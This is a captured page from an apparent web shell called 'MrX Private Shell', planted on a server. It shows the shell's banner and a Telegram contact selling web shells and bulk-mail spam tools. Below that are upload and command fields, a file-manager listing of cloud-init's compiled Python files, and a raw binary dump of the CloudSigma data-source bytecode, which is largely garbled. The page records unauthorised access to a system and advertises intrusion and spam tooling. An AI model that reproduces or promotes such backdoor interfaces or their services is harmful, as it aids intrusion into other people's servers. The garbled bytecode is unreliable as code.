__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[ht����SSKrSSKrSSKJr SSKJrJr SSKJr SSK	J
r
Jr \R"\
5r"SS\R5r\r\\R$44/rSrg)	�N)�	b64decode)�dmi�sources)�DataSourceHostname)�SERIAL_PORT�Cepkoc�T�\rSrSrSrSrSr\S5rSr	Sr
S
SjrS	rS
r
Srg)�DataSourceCloudSigma�z�
Uses cepko in order to gather the server context from the VM.

For more information about CloudSigma's Server Context:
http://cloudsigma-docs.readthedocs.org/en/latest/server_context.html
�
CloudSigmac�p�[5UlSUl[RRXX#5 g)N�)r�cepko�ssh_public_keyr�
DataSource�__init__)�self�sys_cfg�distro�pathss    �H/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceCloudSigma.pyr�DataSourceCloudSigma.__init__s)���W��
� ������#�#�D�6�A�c���[RS5 [R"S5nU(d[RS5 g[RSU5 SUR	5;$)zg
Uses dmi data to detect if this instance of cloud-init is running
in the CloudSigma's infrastructure.
z0determining hypervisor product name via dmi datazsystem-product-namez-system-product-name not available in dmi dataFzdetected hypervisor as %s�
cloudsigma)�LOG�debugr�
read_dmi_data�lower)�sys_product_names r�	ds_detect�DataSourceCloudSigma.ds_detect!s[��	�	�	�D�E��,�,�-B�C����I�I�E�F���	�	�-�/?�@��/�5�5�7�7�7rc�2�SnURR5RnUSnUR
URS5/5UlU[R:XagURSS5RS5nURS	S5UlS	U;a[UR5UlS
URS05;a
USS
UlX lUSUlg
![a [RS5 gf=f)zR
Metadata is the whole server context and /meta/cloud-config is used
as userdata.
N�metaz+CloudSigma: Unable to read from serial portFzcloudinit-dsmode�
base64_fieldsr�,zcloudinit-user-data�	cloudinit�vendor_datarT)r�all�result�	Exceptionrr�_determine_dsmode�get�dsmoder�DSMODE_DISABLED�split�userdata_rawr�vendordata_raw�metadatar)rr.�server_context�server_metar%s     r�	_get_data�DataSourceCloudSigma._get_data0s��
��	�!�Z�Z�^�^�-�4�4�N�(��0�K��,�,�
�_�_�/�
0�1�
����W�,�,�,��#�����<�B�B�3�G�
�'�O�O�,A�2�F��� �M�1� )�$�*;�*;� <�D���.�,�,�]�B�?�?�"0��"?��"L�D��&�
�)�*:�;�����-�	�
�I�I�C�D��		�s�)C4�4D�Dc��S[-$)z/Return the subplatform metadata source details.z
cepko (%s))r�rs r�_get_subplatform�%DataSourceCloudSigma._get_subplatformRs
���k�)�)rc���[R"SURS5(aURSSSnO!URSRS5Sn[	US5$)	zn
Cleans up and uses the server's name if the latter is set. Otherwise
the first part from uuid is being used.
z^[A-Za-z0-9 -_\.]+$�nameN�=�uuid�-rF)�re�matchr3r0r)r�fqdn�
resolve_ip�
metadata_only�rets     r�get_hostname�!DataSourceCloudSigma.get_hostnameVs_��
�8�8�*�D�M�M�&�,A�B�B��-�-��'���,�C��-�-��'�-�-�c�2�1�5�C�!�#�u�-�-rc��UR/$)N)rr9s r�get_public_ssh_keys�(DataSourceCloudSigma.get_public_ssh_keysas���#�#�$�$rc� �URS$)Nr?)r3r9s r�get_instance_id�$DataSourceCloudSigma.get_instance_idds���}�}�V�$�$r)rr.r3rr1r2N)FFF)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�dsnamer�staticmethodr!r6r:rGrJrM�__static_attributes__�rrr
r
sB����F�B�
�8��8� �D*�	.�%�%rr
c�8�[R"U[5$)zC
Return a list of data sources that match this set of dependencies
)r�list_from_depends�datasources)�dependss r�get_datasource_listr\rs���$�$�W�k�:�:r)�loggingrA�base64rr'rr�cloudinit.sourcesr�$cloudinit.sources.helpers.cloudsigmarr�	getLoggerrOrrr
�DataSourceCloudSigmaNet�DEP_FILESYSTEMrZr\rWrr�<module>rdse���	��"�0�C�
����!��S%�7�-�-�S%�n/��
�G�2�2�4�5���
;r

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-313.pyc File 12.33 KB 0644
DataSourceAliYun.cpython-313.pyc File 18.33 KB 0644
DataSourceAltCloud.cpython-313.pyc File 9.85 KB 0644
DataSourceAzure.cpython-313.pyc File 79.75 KB 0644
DataSourceBigstep.cpython-313.pyc File 2.86 KB 0644
DataSourceCloudCIX.cpython-313.pyc File 7.22 KB 0644
DataSourceCloudSigma.cpython-313.pyc File 5.18 KB 0644
DataSourceCloudStack.cpython-313.pyc File 13.11 KB 0644
DataSourceConfigDrive.cpython-313.pyc File 14.2 KB 0644
DataSourceDigitalOcean.cpython-313.pyc File 6.2 KB 0644
DataSourceEc2.cpython-313.pyc File 43.31 KB 0644
DataSourceExoscale.cpython-313.pyc File 8.9 KB 0644
DataSourceGCE.cpython-313.pyc File 16.12 KB 0644
DataSourceHetzner.cpython-313.pyc File 6.46 KB 0644
DataSourceIBMCloud.cpython-313.pyc File 18.43 KB 0644
DataSourceLXD.cpython-313.pyc File 20.3 KB 0644
DataSourceMAAS.cpython-313.pyc File 18.29 KB 0644
DataSourceNWCS.cpython-313.pyc File 6.76 KB 0644
DataSourceNoCloud.cpython-313.pyc File 17.26 KB 0644
DataSourceNone.cpython-313.pyc File 1.88 KB 0644
DataSourceOVF.cpython-313.pyc File 15.34 KB 0644
DataSourceOpenNebula.cpython-313.pyc File 18.96 KB 0644
DataSourceOpenStack.cpython-313.pyc File 13.1 KB 0644
DataSourceOracle.cpython-313.pyc File 21.77 KB 0644
DataSourceRbxCloud.cpython-313.pyc File 10.25 KB 0644
DataSourceScaleway.cpython-313.pyc File 17.07 KB 0644
DataSourceSmartOS.cpython-313.pyc File 38.32 KB 0644
DataSourceUpCloud.cpython-313.pyc File 7.11 KB 0644
DataSourceVMware.cpython-313.pyc File 35.8 KB 0644
DataSourceVultr.cpython-313.pyc File 5.79 KB 0644
DataSourceWSL.cpython-313.pyc File 15.48 KB 0644
__init__.cpython-313.pyc File 47.24 KB 0644
Filemanager